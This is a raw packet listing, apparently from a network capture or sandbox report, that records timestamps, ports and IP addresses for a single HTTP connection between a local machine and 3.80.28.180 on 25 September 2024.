Sep 25, 2024 03:51:32.109380007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109390974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109404087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109412909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109412909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109419107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109432936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109442949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109453917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109453917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109464884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109477043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109488964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109500885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109504938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109504938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109513998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109525919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109534979 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109539032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109555006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109563112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109563112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109570980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109584093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109628916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109628916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110270023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110282898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110294104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110306025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110316992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110328913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110340118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110351086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110351086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110352993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110364914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110378027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110388041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110400915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110411882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110411882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110413074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110425949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110436916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110439062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110451937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110461950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110464096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110475063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110492945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110517025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110863924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110877991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110888004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110901117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110910892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110922098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110934019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110946894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.110953093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110953093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.110986948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.111004114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.133923054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.133944988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.133956909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.134044886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.134134054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.134146929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.134157896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.134171009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.134196997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.134196997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.186703920 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.197540045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197556973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197566986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197638035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.197649002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197663069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197674990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197699070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.197717905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.197751045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197791100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197840929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197853088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197865963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.197963953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197968006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.197977066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197988033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.197999001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198010921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198024035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198040009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198074102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198074102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198100090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198215008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198225021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198235035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198246002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198257923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198282003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198282003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198323011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198391914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198402882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198414087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198421001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198432922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198467016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198530912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198575020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198659897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198673010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198683023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198693991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198704958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198715925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198725939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198736906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198738098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198746920 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198751926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198765039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198780060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198780060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198780060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198792934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.198816061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.198864937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199063063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199075937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199136019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199148893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199160099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199171066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199177980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199177980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199182987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199258089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199364901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199377060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199429989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199450970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199462891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199471951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199481964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199492931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199503899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199513912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199521065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199521065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199536085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199548006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199559927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199568033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199568033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199572086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199585915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199603081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199613094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199613094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199618101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199629068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.199675083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.199675083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.200067043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200079918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200122118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.200232983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200244904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200254917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200277090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200279951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.200289011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200301886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200313091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200324059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200335979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200347900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200359106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200366020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.200366020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.200371981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200385094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200392008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.200398922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200409889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200423956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200436115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200442076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.200442076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.200449944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200455904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.200463057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200475931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.200515032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.200515032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201215029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201226950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201237917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201252937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201263905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201273918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201286077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201289892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201289892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201297998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201309919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201320887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201323032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201332092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201344967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201355934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201356888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201368093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201383114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201385021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201385021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201395988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201406002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201409101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201422930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201435089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201473951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201473951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201935053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201946020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201957941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201970100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201980114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.201981068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.201992989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.202004910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.202017069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.202024937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.202024937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.202063084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.224921942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.224945068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.224953890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.224972963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.224982977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.225033998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.225060940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.225065947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.225076914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.225087881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.225157976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.225158930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.225250006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.288717985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.288734913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.288755894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.288769007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.288780928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.288794994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.288851976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.288858891 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.288894892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.288938999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.288938999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.288954973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.288969994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.288983107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289113045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289127111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289138079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289150000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289151907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289151907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289164066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289200068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289230108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289267063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289278984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289307117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289320946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289331913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289336920 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289345980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289364100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289417028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289618015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289630890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289643049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289655924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289670944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289680958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289685011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289699078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289701939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289712906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289726019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289747953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289747953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289850950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289944887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.289956093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289969921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289979935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.289999008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290011883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290026903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290036917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290036917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290043116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290056944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290107965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290107965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290327072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290338993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290350914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290364027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290375948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290386915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290386915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290402889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290416956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290427923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290433884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290433884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290440083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290453911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290466070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290472984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290481091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290493011 CEST	80	49730	3.80.28.180	192.168.2.4
